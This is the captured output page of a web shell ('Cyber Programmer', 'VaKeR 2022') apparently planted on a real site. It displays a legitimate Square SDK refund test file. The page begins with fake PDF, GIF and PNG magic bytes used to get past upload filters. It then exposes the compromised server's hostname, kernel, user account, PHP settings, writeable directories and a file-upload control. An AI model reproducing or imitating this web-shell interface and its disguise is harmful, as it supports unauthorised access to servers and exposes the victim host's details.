%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/square/square/tests/Flows/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/square/square/tests/Flows/RefundsTest.php
<?php

namespace Square\Tests;

use Square\ApiHelper;
use Square\Apis\PaymentsApi;
use Square\Apis\RefundsApi;
use Square\Exceptions;
use Square\Exceptions\ApiException;
use Square\Models\CancelPaymentByIdempotencyKeyRequest;
use Square\Models\CompletePaymentResponse;
use Square\Models\Currency;
use Square\Models\CreatePaymentRequest;
use Square\Models\GetPaymentRefundResponse;
use Square\Models\ListPaymentsResponse;
use Square\Models\ListPaymentRefundsResponse;
use Square\Models\Money;
use Square\Models\RefundPaymentRequest;
use Square\Models\RefundPaymentResponse;

use PHPUnit\Framework\TestCase;

class RefundsTest extends TestCase
{
    /**
     * @var \Square\Apis\RefundsApi Controller instance
     */
    protected static $controller;

    /**
     * @var \Square\Apis\PaymentsApi Controller instance
     */
    protected static $paymentsController;

    /**
     * @var HttpCallBackCatcher Callback
     */
    protected static $httpResponse;

    /**
     * Setup test class
     */
    public static function setUpBeforeClass(): void
    {
        self::$httpResponse = new HttpCallBackCatcher();
        $client = ClientFactory::create(self::$httpResponse);
        self::$controller = $client->getRefundsApi();
        self::$paymentsController = $client->getPaymentsApi();
    }


    public function testListRefunds()
    {
        // Set callback and perform API call
        $result = null;
        try {
            $result = self::$controller->listPaymentRefunds()->getResult();
        } catch (ApiException $e) {
        }

        // Test response code
        $this->assertEquals(
            200,
            self::$httpResponse->getResponse()->getStatusCode(),
            "Status is not 200"
        );

        $this->assertTrue($result instanceof ListPaymentRefundsResponse);
    }

    public function testRefundPayment()
    {
        // Creat Payment to be refunded
        $amount = 200;
        $currency = Currency::USD;
        $body_sourceId = 'cnon:card-nonce-ok';
        $body_idempotencyKey = uniqid();
        $body_amountMoney = new Money;
        $body_amountMoney->setAmount($amount);
        $body_amountMoney->setCurrency($currency);
        $body = new CreatePaymentRequest(
            $body_sourceId,
            $body_idempotencyKey,
            $body_amountMoney
        );
        $body->setAppFeeMoney(new Money);
        $body->getAppFeeMoney()->setAmount(10);
        $body->getAppFeeMoney()->setCurrency(Currency::USD);
        $body->setAutocomplete(true);

        $result = self::$paymentsController->createPayment($body);

        $this->assertTrue($result->isSuccess());

        // Square may need a moment to capture payment before we can issue a Refund
        sleep(1);

        // Create Refund
        $payment_id = $result->getResult()->getPayment()->getId();
        $refundBody_idempotencyKey = uniqid();
        $refundBody_amountMoney = new Money;
        $refundBody_amountMoney->setAmount($amount);
        $refundBody_amountMoney->setCurrency($currency);
        $refundBody_paymentId = $payment_id;
        $refundBody = new RefundPaymentRequest(
            $refundBody_idempotencyKey,
            $refundBody_amountMoney
        );
        $refundBody->setPaymentId($refundBody_paymentId);

        $apiResponse = self::$controller->refundPayment($refundBody);

        $this->assertTrue($apiResponse->isSuccess());
        $this->assertTrue($apiResponse->getResult() instanceof RefundPaymentResponse);
        $this->assertEquals($apiResponse->getResult()->getRefund()->getAmountMoney()->getAmount(), $amount);
        $this->assertEquals($apiResponse->getResult()->getRefund()->getAmountMoney()->getCurrency(), $currency);
        $this->assertEquals($apiResponse->getResult()->getRefund()->getPaymentId(), $payment_id);

        return $apiResponse->getResult()->getRefund()->getId();
    }

    /**
     * @depends testRefundPayment
     */
    public function testGetPaymentRefund($paymentId)
    {
        $result = self::$controller->getPaymentRefund($paymentId);

        $this->assertTrue($result->isSuccess());
        $this->assertTrue($result->getResult() instanceof GetPaymentRefundResponse);
    }
}

VaKeR 2022